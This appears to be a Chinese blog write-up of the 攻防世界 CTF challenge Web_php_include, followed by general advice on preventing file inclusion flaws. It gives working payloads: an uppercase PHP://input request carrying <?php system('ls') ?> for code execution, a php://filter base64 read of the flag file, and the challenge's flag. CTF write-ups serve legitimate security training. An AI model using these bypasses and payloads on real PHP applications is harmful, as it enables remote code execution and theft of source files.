攻防世界-web Web_php_include

根据题目这题应该是php文件包含题
在这里插入图片描述
分析代码:我们需要向page传入参数并绕过验证,利用include()来实现文件包含
strstr() 函数用法:搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE(该函数是区分大小写的

//例如:
echo strstr("Hello world!","world");  // 输出 world!

str_replace() 函数用法:替换字符串中的一些字符(区分大小写

//例如:
echo str_replace("world","Peter","Hello world!"); //输出Hello Peter

php:// 用于访问各个输入/输出流(I/O streams)
经常使用的是php://filter和php://input
php://filter用于读取源码,php://input用于执行php代码。
php://用法及更多php伪协议请参考:https://www.cnblogs.com/endust/p/11804767.html

如果我们直接使用php://就会被str_replace()替换为空
由于strstr()及str_replace() 两个函数都是大小写的,我们只要用大写的PHP://即可绕过

首先利用php://input代码执行查看文件寻找flag位置
http://111.200.241.244:64291?page=PHP://input
POST提交:<?php system('ls') ?>
在这里插入图片描述
flag应该就在fl4gisisish3r3.php文件里面
再通过php://filter读取fl4gisisish3r3.php的内容

http://111.200.241.244:64291?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

在这里插入图片描述
再通过对PD9waHAKJGZsYWc9ImN0Zns4NzZhNWZjYS05NmM2LTRjYmQtOTA3NS00NmYwYzg5NDc1ZDJ9IjsKPz4K进行base64解密
在这里插入图片描述
得到flag
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

攻防世界中的文件包含漏洞(File Inclusion Vulnerability)是一种常见的web安全漏洞。它主要出现在web应用程序中,当应用程序动态包含用户可控制的文件时,如果没有正确过滤和验证用户输入,攻击者可以利用这个漏洞执行恶意代码或读取敏感文件。 文件包含漏洞分为本地文件包含(Local File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种类型。LFI漏洞发生在应用程序尝试包含本地文件时,而RFI漏洞则允许攻击者通过远程服务器包含外部文件。 为了防止文件包含漏洞,开发人员应该遵循以下最佳实践: 1. 永远不要信任用户输入。对用户提供的文件名、路径或URL进行严格的输入验证和过滤。 2. 使用白名单机制限制可包含的文件范围。只允许应用程序包含预定义的合法文件,而不是用户可控制的任意文件。 3. 避免使用动态包含,尽量使用静态包含。如果必须使用动态包含,确保只包含可信任的文件。 4. 对于本地文件包含漏洞,限制访问文件系统的权限。确保应用程序只能访问必要的文件,并将敏感文件放在可访问性受限的目录下。 5. 对于远程文件包含漏洞,禁止从远程服务器包含文件,或者使用安全的方法验证和限制远程文件的来源。 6. 定期更新和修补应用程序的漏洞,以确保及时修复已知的文件包含漏洞和其他安全问题。 这些是一些常见的防范文件包含漏洞的方法,但在实际开发过程中,还需要根据具体情况采取其他安全措施来保护应用程序免受攻击。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

码啊码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值